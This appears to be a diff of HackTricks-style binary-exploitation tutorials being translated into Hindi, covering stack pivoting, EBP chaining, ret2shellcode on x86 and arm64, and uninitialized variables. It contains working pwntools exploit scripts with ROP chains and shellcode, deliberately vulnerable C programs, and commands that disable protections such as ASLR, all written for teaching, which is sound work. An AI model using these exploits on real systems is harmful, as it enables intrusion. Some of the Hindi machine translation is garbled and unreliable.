**alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing. +यह तकनीक विशेष रूप से उपयोगी है जब आप **EBP रजिस्टर को बदल सकते हैं लेकिन EIP रजिस्टर को सीधे बदलने का कोई तरीका नहीं है**। यह कार्यों के व्यवहार का लाभ उठाता है जब वे निष्पादन समाप्त करते हैं। -If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\ -Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP. +यदि, `fvuln` के निष्पादन के दौरान, आप स्टैक में एक **नकली EBP** इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहां आपका शेलकोड का पता स्थित है (प्लस 4 बाइट्स `pop` ऑपरेशन के लिए), तो आप अप्रत्यक्ष रूप से EIP को नियंत्रित कर सकते हैं। जैसे ही `fvuln` लौटता है, ESP को इस तैयार स्थान पर सेट किया जाता है, और अगला `pop` ऑपरेशन ESP को 4 से घटाता है, **जिससे यह प्रभावी रूप से एक पते की ओर इशारा करता है जिसे हमलावर ने वहां स्टोर किया है।**\ +ध्यान दें कि आपको **2 पते जानने की आवश्यकता है**: वह जहां ESP जाने वाला है, जहां आपको उस पते को लिखने की आवश्यकता होगी जिस पर ESP इशारा करता है। -#### Exploit Construction +#### एक्सप्लॉइट निर्माण -First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**. +पहले आपको एक **पता जानने की आवश्यकता है जहां आप मनमाने डेटा / पते लिख सकते हैं**। ESP यहां इशारा करेगा और **पहला `ret` चलाएगा**। -Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use: +फिर, आपको उस पते के बारे में जानने की आवश्यकता है जिसका उपयोग `ret` द्वारा **मनमाना कोड निष्पादित करने के लिए** किया जाएगा। आप उपयोग कर सकते हैं: -- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address. -- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits). -- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute. -- Some [**ROP**](../rop-return-oriented-programing/) chain +- एक मान्य [**ONE_GADGET**](https://github.com/david942j/one_gadget) पता। +- **`system()`** का पता उसके बाद **4 जंक बाइट्स** और `"/bin/sh"` का पता (x86 बिट्स)। +- एक **`jump esp;`** गैजेट ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) का पता उसके बाद **निष्पादित करने के लिए शेलकोड**। +- कुछ [**ROP**](../rop-return-oriented-programing/) श्रृंखला -Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution. +याद रखें कि नियंत्रित मेमोरी के किसी भी इन पते से पहले, **`4` बाइट्स** होनी चाहिए क्योंकि **`pop`** भाग `leave` निर्देश का है। इन 4B का दुरुपयोग करना संभव होगा एक **दूसरा नकली EBP** सेट करने के लिए और निष्पादन को नियंत्रित करना जारी रखने के लिए। -#### Off-By-One Exploit +#### ऑफ-बाय-वन एक्सप्लॉइट -There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\ -Usually it's modified the byte 0x00t o jump as far as possible. +इस तकनीक का एक विशिष्ट रूप "ऑफ-बाय-वन एक्सप्लॉइट" के रूप में जाना जाता है। इसका उपयोग तब किया जाता है जब आप **केवल EBP के सबसे कम महत्वपूर्ण बाइट को संशोधित कर सकते हैं**। ऐसे मामले में, मेमोरी स्थान जो **`ret`** के साथ कूदने के लिए पता संग्रहीत करता है, EBP के साथ पहले तीन बाइट्स को साझा करना चाहिए, जिससे अधिक सीमित परिस्थितियों के साथ समान हेरफेर की अनुमति मिलती है।\ +आमतौर पर इसे बाइट 0x00 को संशोधित किया जाता है ताकि जितना संभव हो सके कूद सके। -Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed. +इसके अलावा, स्टैक में एक RET स्लेड का उपयोग करना और असली ROP श्रृंखला को अंत में रखना सामान्य है ताकि यह अधिक संभावना हो कि नया ESP RET SLED के अंदर इशारा करता है और अंतिम ROP श्रृंखला निष्पादित होती है। -### **EBP Chaining** +### **EBP चेनिंग** -Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**. +इसलिए, स्टैक के `EBP` प्रविष्टि में एक नियंत्रित पता डालना और `EIP` में `leave; ret` का पता डालना संभव है **स्टैक से नियंत्रित `EBP` पते पर `ESP` को स्थानांतरित करना**। -Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this: +अब, **`ESP`** नियंत्रित है जो एक इच्छित पते की ओर इशारा कर रहा है और निष्पादित करने के लिए अगला निर्देश `RET` है। इसका दुरुपयोग करने के लिए, नियंत्रित ESP स्थान में यह रखा जा सकता है: -- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction -- **`system()`** -> Called by `ret` -- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin -- **`&("/bin/sh")`**-> Param fro `system` +- **`&(next fake EBP)`** -> `leave` निर्देश से `pop ebp` के कारण नया EBP लोड करें +- **`system()`** -> `ret` द्वारा कॉल किया गया +- **`&(leave;ret)`** -> सिस्टम समाप्त होने के बाद कॉल किया जाएगा, यह ESP को नकली EBP पर ले जाएगा और फिर से शुरू करेगा +- **`&("/bin/sh")`**-> `system` के लिए पैरामीटर -Basically this way it's possible to chain several fake EBPs to control the flow of the program. +बुनियादी रूप से इस तरीके से कई नकली EBPs को जोड़ना संभव है ताकि कार्यक्रम के प्रवाह को नियंत्रित किया जा सके। -This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases. - -Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page: +यह [ret2lib](../rop-return-oriented-programing/ret2lib/) की तरह है, लेकिन अधिक जटिल है जिसमें कोई स्पष्ट लाभ नहीं है लेकिन कुछ किनारे के मामलों में दिलचस्प हो सकता है। +इसके अलावा, यहां आपके पास एक [**चुनौती का उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) है जो इस तकनीक का उपयोग करता है एक **स्टैक लीक** के साथ एक विजेता फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है: ```python from pwn import * @@ -75,34 +72,32 @@ POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( - 0x0, # rbp (could be the address of anoter fake RBP) - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, - elf.sym['winner'] +0x0, # rbp (could be the address of anoter fake RBP) +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, +elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( - buffer, # Load leak address in RBP - LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it +buffer, # Load leak address in RBP +LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` +## EBP का उपयोग नहीं किया जा सकता -## EBP might not be used - -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\ -This is because the **prologue and epilogue changes** if the binary is optimized. - -- **Not optimized:** +जैसा कि [**इस पोस्ट में समझाया गया है**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), यदि एक बाइनरी कुछ ऑप्टिमाइजेशन के साथ संकलित की गई है, तो **EBP कभी भी ESP को नियंत्रित नहीं करता**, इसलिए, EBP को नियंत्रित करके काम करने वाला कोई भी एक्सप्लॉइट मूल रूप से विफल हो जाएगा क्योंकि इसका कोई वास्तविक प्रभाव नहीं है।\ +यह इसलिए है क्योंकि **प्रोलॉग और एपिलॉग बदलते हैं** यदि बाइनरी ऑप्टिमाइज्ड है। +- **ऑप्टिमाइज्ड नहीं:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - -- **Optimized:** - +- **अनुकूलित:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size @@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` +## RSP को नियंत्रित करने के अन्य तरीके -## Other ways to control RSP - -### **`pop rsp`** gadget - -[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**: +### **`pop rsp`** गैजेट +[**इस पृष्ठ पर**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) आप इस तकनीक का उपयोग करते हुए एक उदाहरण पा सकते हैं। इस चुनौती के लिए 2 विशिष्ट तर्कों के साथ एक फ़ंक्शन को कॉल करना आवश्यक था, और वहाँ एक **`pop rsp` गैजेट** था और वहाँ **स्टैक से लीक** है: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( - 0, # r13 - 0, # r14 - 0, # r15 - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, # r15 - elf.sym['winner'] +0, # r13 +0, # r14 +0, # r15 +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, # r15 +elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 @@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( - POP_CHAIN, - buffer # rsp +POP_CHAIN, +buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` - ### xchg \, rsp gadget - ``` pop <=== return pointer xchg , rsp ``` - ### jmp esp -Check the ret2esp technique here: +यहाँ ret2esp तकनीक की जाँच करें: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -## References & Other Examples +## संदर्भ और अन्य उदाहरण - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - - 64 bits, off by one exploitation with a rop chain starting with a ret sled +- 64 बिट, एक से बाहर शोषण एक रॉप श्रृंखला के साथ जो एक ret sled से शुरू होती है - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. +- 64 बिट, कोई relro, कैनरी, nx और pie नहीं। प्रोग्राम स्टैक या pie के लिए एक लीक प्रदान करता है और एक qword का WWW। पहले स्टैक लीक प्राप्त करें और pie लीक प्राप्त करने के लिए WWW का उपयोग करें। फिर एक स्थायी लूप बनाने के लिए WWW का उपयोग करें जो `.fini_array` प्रविष्टियों का दुरुपयोग करता है + `__libc_csu_fini` को कॉल करता है ([यहाँ अधिक जानकारी](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). इस "स्थायी" लेखन का दुरुपयोग करते हुए, .bss में एक ROP श्रृंखला लिखी जाती है और अंततः इसे RBP के साथ पिवटिंग करने के लिए कॉल किया जाता है। ## ARM64 -In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**. +ARM64 में, कार्यों के **प्रोलॉग और एपिलॉग** स्टैक में **SP रजिस्टर को स्टोर और पुनर्प्राप्त नहीं करते**। इसके अलावा, **`RET`** निर्देश SP द्वारा इंगित पते पर वापस नहीं लौटता, बल्कि **`x30`** के अंदर के पते पर लौटता है। -Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register. +इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप **SP रजिस्टर को नियंत्रित नहीं कर पाएंगे** कुछ डेटा को स्टैक के अंदर ओवरराइट करके। और यदि आप SP को नियंत्रित करने में सफल होते हैं, तो भी आपको **`x30`** रजिस्टर को नियंत्रित करने का एक तरीका चाहिए। -- prologue +- प्रोलॉग - ```armasm - sub sp, sp, 16 - stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 - mov x29, sp // FP points to frame record - ``` +```armasm +sub sp, sp, 16 +stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 +mov x29, sp // FP फ्रेम रिकॉर्ड की ओर इशारा करता है +``` -- epilogue +- एपिलॉग - ```armasm - ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] - add sp, sp, 16 - ret - ``` +```armasm +ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] +add sp, sp, 16 +ret +``` > [!CAUTION] -> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it. +> ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा **`SP`** को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान `SP` को पास किया जाता है या क्योंकि किसी कारण से `SP` अपना पता स्टैक से ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर **एपिलॉग का दुरुपयोग** करके **`x30`** रजिस्टर को **नियंत्रित `SP`** से लोड करना और **`RET`** करना। -Also in the following page you can see the equivalent of **Ret2esp in ARM64**: +इसके अलावा, निम्नलिखित पृष्ठ पर आप **ARM64 में Ret2esp** का समकक्ष देख सकते हैं: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 187c832b7..76e525600 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,47 +4,42 @@ ## Basic Information -**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**. +**Stack shellcode** एक तकनीक है जो **binary exploitation** में उपयोग की जाती है जहाँ एक हमलावर एक कमजोर प्रोग्राम के स्टैक पर शेलकोड लिखता है और फिर **Instruction Pointer (IP)** या **Extended Instruction Pointer (EIP)** को इस शेलकोड के स्थान की ओर मोड़ता है, जिससे यह निष्पादित होता है। यह एक क्लासिक विधि है जिसका उपयोग अनधिकृत पहुंच प्राप्त करने या लक्षित प्रणाली पर मनमाने आदेश निष्पादित करने के लिए किया जाता है। यहाँ प्रक्रिया का एक विवरण है, जिसमें एक सरल C उदाहरण और यह कैसे आप **pwntools** के साथ एक संबंधित एक्सप्लॉइट लिख सकते हैं। ### C Example: A Vulnerable Program -Let's start with a simple example of a vulnerable C program: - +चलो एक कमजोर C प्रोग्राम के सरल उदाहरण से शुरू करते हैं: ```c #include #include void vulnerable_function() { - char buffer[64]; - gets(buffer); // Unsafe function that does not check for buffer overflow +char buffer[64]; +gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { - vulnerable_function(); - printf("Returned safely\n"); - return 0; +vulnerable_function(); +printf("Returned safely\n"); +return 0; } ``` +यह प्रोग्राम `gets()` फ़ंक्शन के उपयोग के कारण बफ़र ओवरफ़्लो के लिए संवेदनशील है। -This program is vulnerable to a buffer overflow due to the use of the `gets()` function. - -### Compilation - -To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command: +### संकलन +इस प्रोग्राम को संकलित करने के लिए जबकि विभिन्न सुरक्षा उपायों को निष्क्रिय किया गया है (संवेदनशील वातावरण का अनुकरण करने के लिए), आप निम्नलिखित कमांड का उपयोग कर सकते हैं: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - -- `-fno-stack-protector`: Disables stack protection. -- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack. -- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located. -- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development. +- `-fno-stack-protector`: स्टैक सुरक्षा को अक्षम करता है। +- `-z execstack`: स्टैक को निष्पादन योग्य बनाता है, जो स्टैक पर संग्रहीत शेलकोड को निष्पादित करने के लिए आवश्यक है। +- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारा शेलकोड किस मेमोरी पते पर होगा। +- `-m32`: प्रोग्राम को 32-बिट एक्सीक्यूटेबल के रूप में संकलित करता है, जो अक्सर शोषण विकास में सरलता के लिए उपयोग किया जाता है। ### Python Exploit using Pwntools -Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack: - +यहां बताया गया है कि आप **pwntools** का उपयोग करके **ret2shellcode** हमले को करने के लिए Python में एक शोषण कैसे लिख सकते हैं: ```python from pwn import * @@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` +यह स्क्रिप्ट एक पेलोड बनाती है जिसमें **NOP स्लाइड**, **शेलकोड** शामिल होता है, और फिर **EIP** को NOP स्लाइड की ओर इंगित करने वाले पते से ओवरराइट करती है, यह सुनिश्चित करते हुए कि शेलकोड निष्पादित हो जाए। -This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. +**NOP स्लाइड** (`asm('nop')`) का उपयोग इस संभावना को बढ़ाने के लिए किया जाता है कि निष्पादन हमारे शेलकोड में "स्लाइड" करेगा चाहे सटीक पता कुछ भी हो। अपने बफर के प्रारंभिक पते के लिए `p32()` तर्क को समायोजित करें और NOP स्लाइड में पहुंचने के लिए एक ऑफसेट जोड़ें। -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +## सुरक्षा -## Protections +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि जीत फ़ंक्शन कहाँ लोड हुआ है। +- [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा। +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **स्टैक** सुरक्षा शेलकोड के स्टैक के अंदर निष्पादन को रोक देगी क्योंकि वह क्षेत्र निष्पादन योग्य नहीं होगा। -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable. - -## Other Examples & References +## अन्य उदाहरण और संदर्भ - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - - 64bit, ASLR with stack address leak, write shellcode and jump to it +- 64बिट, ASLR के साथ स्टैक पता लीक, शेलकोड लिखें और उस पर कूदें - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - - 32 bit, ASLR with stack leak, write shellcode and jump to it +- 32 बिट, ASLR के साथ स्टैक लीक, शेलकोड लिखें और उस पर कूदें - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - - 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it +- 32 बिट, ASLR के साथ स्टैक लीक, exit() को कॉल करने से रोकने के लिए तुलना, एक मान के साथ वेरिएबल को ओवरराइट करें और शेलकोड लिखें और उस पर कूदें - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64, कोई ASLR नहीं, स्टैक को निष्पादन योग्य बनाने के लिए ROP गैजेट और स्टैक में शेलकोड पर कूदें {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 3ad3e61ac..a3ff53e99 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -2,47 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +arm64 का परिचय यहाँ खोजें: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code - ```c #include #include void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie, canary and nx: - +पीआईई, कैनरी और एनएक्स के बिना संकलित करें: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` - ## No ASLR & No canary - Stack Overflow -To stop ASLR execute: - +ASLR को रोकने के लिए निष्पादित करें: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +[**bof की ऑफसेट प्राप्त करने के लिए इस लिंक की जांच करें**](../ret2win/ret2win-arm64.md#finding-the-offset). -To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset). - -Exploit: - +शोषण: ```python from pwn import * @@ -73,9 +66,8 @@ p.send(payload) # Drop to an interactive session p.interactive() ``` +यहाँ "जटिल" चीज़ केवल स्टैक में कॉल करने के लिए पता ढूंढना होगा। मेरे मामले में, मैंने gdb का उपयोग करके पाए गए पते के साथ एक्सप्लॉइट उत्पन्न किया, लेकिन फिर जब इसे एक्सप्लॉइट किया गया तो यह काम नहीं किया (क्योंकि स्टैक का पता थोड़ा बदल गया था)। -The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit). - -I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode. +मैंने उत्पन्न **`core` फ़ाइल** खोली (`gdb ./bog ./core`) और शेलकोड की शुरुआत का असली पता चेक किया। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/uninitialized-variables.md b/src/binary-exploitation/stack-overflow/uninitialized-variables.md index 6cde48bee..4df694ad7 100644 --- a/src/binary-exploitation/stack-overflow/uninitialized-variables.md +++ b/src/binary-exploitation/stack-overflow/uninitialized-variables.md @@ -4,65 +4,63 @@ ## Basic Information -The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example: +यहाँ का मुख्य विचार यह है कि **अनियोजित चर के साथ क्या होता है क्योंकि उनके पास पहले से आवंटित मेमोरी में जो मान था, वही होगा।** उदाहरण: -- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it. -- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location. +- **Function 1: `initializeVariable`**: हम एक चर `x` घोषित करते हैं और इसे एक मान सौंपते हैं, मान लीजिए `0x1234`। यह क्रिया मेमोरी में एक स्थान आरक्षित करने और उसमें एक विशिष्ट मान रखने के समान है। +- **Function 2: `useUninitializedVariable`**: यहाँ, हम एक और चर `y` घोषित करते हैं लेकिन इसे कोई मान नहीं सौंपते। C में, अनियोजित चर स्वचालित रूप से शून्य पर सेट नहीं होते। इसके बजाय, वे अपनी मेमोरी स्थान पर अंतिम बार संग्रहीत मान को बनाए रखते हैं। -When we run these two functions **sequentially**: +जब हम इन दोनों कार्यों को **क्रमिक रूप से** चलाते हैं: -1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address. -2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there. +1. `initializeVariable` में, `x` को एक मान (`0x1234`) सौंपा जाता है, जो एक विशिष्ट मेमोरी पते पर कब्जा करता है। +2. `useUninitializedVariable` में, `y` घोषित किया जाता है लेकिन इसे कोई मान नहीं सौंपा जाता, इसलिए यह `x` के ठीक बाद का मेमोरी स्थान ले लेता है। `y` को अनियोजित छोड़ने के कारण, यह `x` द्वारा उपयोग किए गए उसी मेमोरी स्थान से मान "विरासत में" ले लेता है, क्योंकि वही अंतिम मान था जो वहाँ था। -This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory. +यह व्यवहार निम्न-स्तरीय प्रोग्रामिंग में एक प्रमुख अवधारणा को दर्शाता है: **मेमोरी प्रबंधन महत्वपूर्ण है**, और अनियोजित चर अप्रत्याशित व्यवहार या सुरक्षा कमजोरियों का कारण बन सकते हैं, क्योंकि वे अनजाने में मेमोरी में छोड़े गए संवेदनशील डेटा को रख सकते हैं। -Uninitialized stack variables could pose several security risks like: +अनियोजित स्टैक चर कई सुरक्षा जोखिम पैदा कर सकते हैं जैसे: -- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data. -- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits. -- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes. -- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats. +- **Data Leakage**: संवेदनशील जानकारी जैसे पासवर्ड, एन्क्रिप्शन कुंजी, या व्यक्तिगत विवरण अनियोजित चर में संग्रहीत होने पर उजागर हो सकते हैं, जिससे हमलावरों को संभावित रूप से इस डेटा को पढ़ने की अनुमति मिलती है। +- **Information Disclosure**: अनियोजित चर की सामग्री कार्यक्रम की मेमोरी लेआउट या आंतरिक संचालन के बारे में विवरण प्रकट कर सकती है, जिससे हमलावरों को लक्षित शोषण विकसित करने में मदद मिलती है। +- **Crashes and Instability**: अनियोजित चर से संबंधित संचालन अपरिभाषित व्यवहार का परिणाम हो सकते हैं, जिससे कार्यक्रम क्रैश या अप्रत्याशित परिणाम हो सकते हैं। +- **Arbitrary Code Execution**: कुछ परिदृश्यों में, हमलावर इन कमजोरियों का लाभ 